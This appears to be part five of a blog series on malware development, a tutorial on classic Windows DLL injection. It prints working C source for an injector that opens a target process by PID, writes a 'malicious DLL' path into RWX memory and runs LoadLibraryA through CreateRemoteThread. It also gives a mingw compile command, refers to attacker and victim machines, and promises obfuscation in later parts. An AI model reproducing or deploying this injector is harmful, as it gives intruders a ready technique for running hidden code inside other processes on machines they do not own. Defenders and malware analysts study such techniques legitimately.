Malware Development PART 5: DLL injection into the process
“Injecting Code, Infecting Minds: The Art of DLL Injection into Process”
Hello Everyone,
Let’s talk about a classic trick called DLL injection that uses debugging tools. In the previous part, we talked about putting code into programs. Now, let’s get ready to inject our DLL.
When you write C code for a regular program (exe) versus a special kind of program called a DLL, there are some small differences. For an exe, the operating system starts everything by calling a function called main. But with DLLs, it’s a bit different. The operating system has already started a process in memory. Your DLL gets loaded into that process because the process needs something your DLL can do.
So, exes need a main function, and DLLs need a DLLMain function. That’s the main difference between the two.
For simplicity, we create DLL which just pop-up a message box :
This DLL solely consists of the DllMain function, which serves as the main entry point for the DLL. Typically, legitimate DLLs declare exported functions, but this one does not. DllMain is executed immediately after the DLL is loaded into the process memory.
In the context of DLL Injection, simplicity is key to executing code within another process. Consequently, many malicious DLLs contain most of their harmful code within DllMain. While there are methods to compel a process to run exported functions, using DllMain is often the most straightforward approach for achieving code execution.
When injected into a process, this DLL should display the message “ hii ” to confirm successful injection. This enables the attacker to verify that the injection has been successful.
Now we can compile it (on attacker’s machine):
and put it in a directory of our choice (victim’s machine):
Now we only need a code which will inject this library into the process of our choosing.
In our case we are going talk about classic DLL injection. We allocate an empty buffer of a size at least the length of the path of our DLL from disk. And then we copy the path to this buffer.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
char evilDLL[] = "C:\\bitcoin.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer
// handle to kernel32 and pass it to GetProcAddress
HMODULE hKernel32 = GetModuleHandle("Kernel32");
FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryA"); // Use FARPROC for function pointer
// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i\n", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
DWORD(atoi(argv[1])));
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen,
(MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);
// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)lb, // Cast lb to the appropriate function pointer type
rb, 0, NULL);
CloseHandle(ph);
return 0;
}
This code is a simple example of malware injection. Here’s how it works:
- Loading Evil DLL: The code specifies the path to a malicious DLL (
bitcoin.dll
) and its length. - Getting Function Address: It retrieves the address of the
LoadLibraryA
function from theKernel32
module usingGetProcAddress
. This function is responsible for loading DLLs. - Opening Target Process: It opens a target process specified by its Process ID (PID) using
OpenProcess
. - Allocating Memory in Target Process: It allocates memory within the target process using
VirtualAllocEx
to store the path to the malicious DLL. - Writing to Target Process Memory: It writes the path of the malicious DLL into the allocated memory space of the target process using
WriteProcessMemory
. - Creating Remote Thread: It creates a remote thread in the target process using
CreateRemoteThread
. This thread is instructed to execute theLoadLibraryA
function, passing the address of the memory where the path to the malicious DLL is stored as an argument.
So finally after we understood entire code of the injector, we can test it. Compile it:
x86_64-w64-mingw32-gcc -O2 bitcoin1.cpp -o bit_inj.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1
Let’s first launch a calc.exe instance and then execute our program:
To verify our DLL is indeed injected into calc.exe process we can use Process Hacker.
In another memory section we can see:
It seems our simple injection logic worked! This is just a simplest way to inject a DLL to another process but in many cases it is sufficient and very useful.
If you want you can also add function call obfuscation which will be research in the future sections.
In the future sections I will try to figure out more advanced code injection techniques.
I hope you like it : )